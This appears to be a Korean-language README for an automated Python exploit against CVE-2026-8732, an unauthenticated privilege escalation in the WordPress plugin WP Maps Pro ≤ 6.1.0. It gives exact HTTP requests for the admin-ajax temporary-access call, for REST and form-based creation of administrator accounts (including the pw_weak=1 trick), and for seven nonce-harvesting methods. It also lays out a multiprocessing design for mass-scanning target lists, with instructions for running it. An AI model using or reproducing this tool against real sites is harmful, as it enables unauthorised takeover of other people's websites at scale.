
CVE-2026-8732를 위한 자동화된 8단계 익스플로잇입니다. 이는 WP Maps Pro ≤ 6.1.0에서 인증되지 않은 권한 상승 취약점입니다. 멀티프로세싱과 asyncio를 사용하여 대상을 스캔하고, nonce를 추출하며, 관리자 계정을 생성합니다.
WordPress 플러그인 WP Maps Pro 버전 ≤ 6.1.0에는 인증되지 않은 권한 상승 취약점이 있습니다. 자격 증명 없이도 공격자는 관리자 계정을 만들고 사이트를 장악할 수 있습니다.
이 취약점은 FlipperCode 벤더의 지원 팀을 위해 설계된 "임시 접근(Temporary Access)" 기능에서 비롯되었지만, 적절한 보호 없이 공개적으로 노출되었습니다.
| 정보 | 세부 사항 |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (심각) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 플러그인 | WP Maps Pro (wp-google-map-gold) |
| 벤더 | FlipperCode |
| 영향받는 버전 | ≤ 6.1.0 |
| 패치된 버전 | 6.1.1 |
| 유형 | 중요 함수에 대한 인증 누락 (CWE-306) |
| 영향 | 인증 없이 관리자 생성 → 사이트 전체 제어 |
| PoC 작성자 | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ 취약점 1 — 인증 없이 노출된 엔드포인트 │
│ ▸ AJAX 액션이 wp_ajax_nopriv_로 등록됨 │
│ ▸ 누구나 로그인 없이 접근 가능 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 취약점 2 — 공개 페이지에서 난스(nonce) 유출 │
│ ▸ wpgmp_local.nonce 객체가 모든 페이지에 포함됨 │
│ ▸ 공격자가 HTML 소스에서 난스 추출 가능 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 취약점 3 — 접근 권한 검사 없음 │
│ ▸ 콜백 함수는 난스만 확인함 │
│ ▸ current_user_can() 없음 — 추가 방어 수단 없음 │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ 1단계 │──▶│ 2단계 │──▶│ 3단계 │──▶│ 4단계 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ 취약함
▼
┌──────────────────────────────────────────────────────────┐
│ 5단계 — 난스 추출 │
│ │
│ 그룹 A (API) 그룹 B (콘텐츠) 그룹 C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ 대상: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ 난스 발견됨
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 6단계 │──▶│ 7단계 │──▶│ 8단계 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANEN │
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ 관리자 생성 완료
로그인: wp_xxxx / pass
역할: administrator
| 단계 | 이름 | 기능 | 요청 수 |
|---|---|---|---|
| 1 | Resolve | 병렬로 HTTPS/HTTP 선택 | 1 |
| 2 | Check WP | 대상이 WordPress인지 확인 | 0 |
| 3 | Detect Plugin | 3개 계층에서 WP Maps 지표 확인 | 0-4 |
| 4 | Version + WAF | readme.txt / CSS ?ver= 읽기 + WAF 탐지 | 1 |
| 5 | Ekstraksi Nonce | 3개 그룹으로 7가지 검색 방법 병렬 수행 | 0-150 |
| 6 | Eksploitasi | admin-ajax.php POST → 임시 관리자 계정 생성 | 1 |
| 7 | Verifikasi | 매직 URL 접근 → 관리자 세션 확인 | 2 |
| 8 | Tambah Admin | REST API (주) + WP-Admin form (보조) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<추출된_난스>
check_temp=false
취약한 경우 응답:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
이 매직 URL은 자동 로그인을 제공하며,
fc_user_XXXXX(역할: administrator)로 로그인됩니다.
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- 핵심: 약한 비밀번호 확인
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
중요:
pw_weak=1을 반드시 포함해야 합니다 — 이 매개변수가 없으면 WordPress가 약한 비밀번호를 거부합니다.
CVE-2026-8732.py
│
├── 📦 NonceFinder — 7가지 방법으로 난스 검색
│ ├── 그룹 A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── 그룹 B (콘텐츠): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── 그룹 C (강제): M7 Slug brute force (30+ 일반 slug)
│
├── ⚔️ Exploiter — 8단계 익스플로잇 엔진
│ ├── resolve() → 1단계: 프로토콜 선택
│ ├── check_wp() → 2단계: WordPress 확인
│ ├── detect_plugin() → 3단계: 플러그인 탐지 + 조기 난스
│ ├── detect_version() → 4단계: 버전 탐지 + WAF
│ ├── exploit() → 6단계: 핵심 익스플로잇
│ ├── verify() → 7단계: 관리자 로그인 확인
│ └── add_admin() → 8단계: 영구 관리자 추가
│
├── 🔧 Worker Process — 멀티프로세싱 작업 프로세스
│ ├── producer() → mp.Queue에서 도메인 읽기
│ └── consumer() (N) → 병렬 스캔 실행
│
└── 🖥️ Scanner — 사용자 인터페이스
├── single() → 단일 대상 모드 (대화형)
└── multi() → 다중 대상 모드 (대량)
targets.txt mp.Queue (작업) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ domain queue │───▶│ internal queue │
│ domain2 │ │ (IPC between │ │ (per process) │
│ domain3 │ │ processes) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ 소비자 (N) │
│ Exploiter.scan() │
│ 8단계 전체 │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (결과) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] 모드 선택:
1. Single Target
2. Multi Target (파일 목록)
> 1
[?] 대상 도메인 (http/https 없이): target.com
[?] 타임아웃 [기본값: 15]: 15
python3 CVE-2026-8732.py
[?] 모드 선택:
1. Single Target
2. Multi Target (파일 목록)
> 2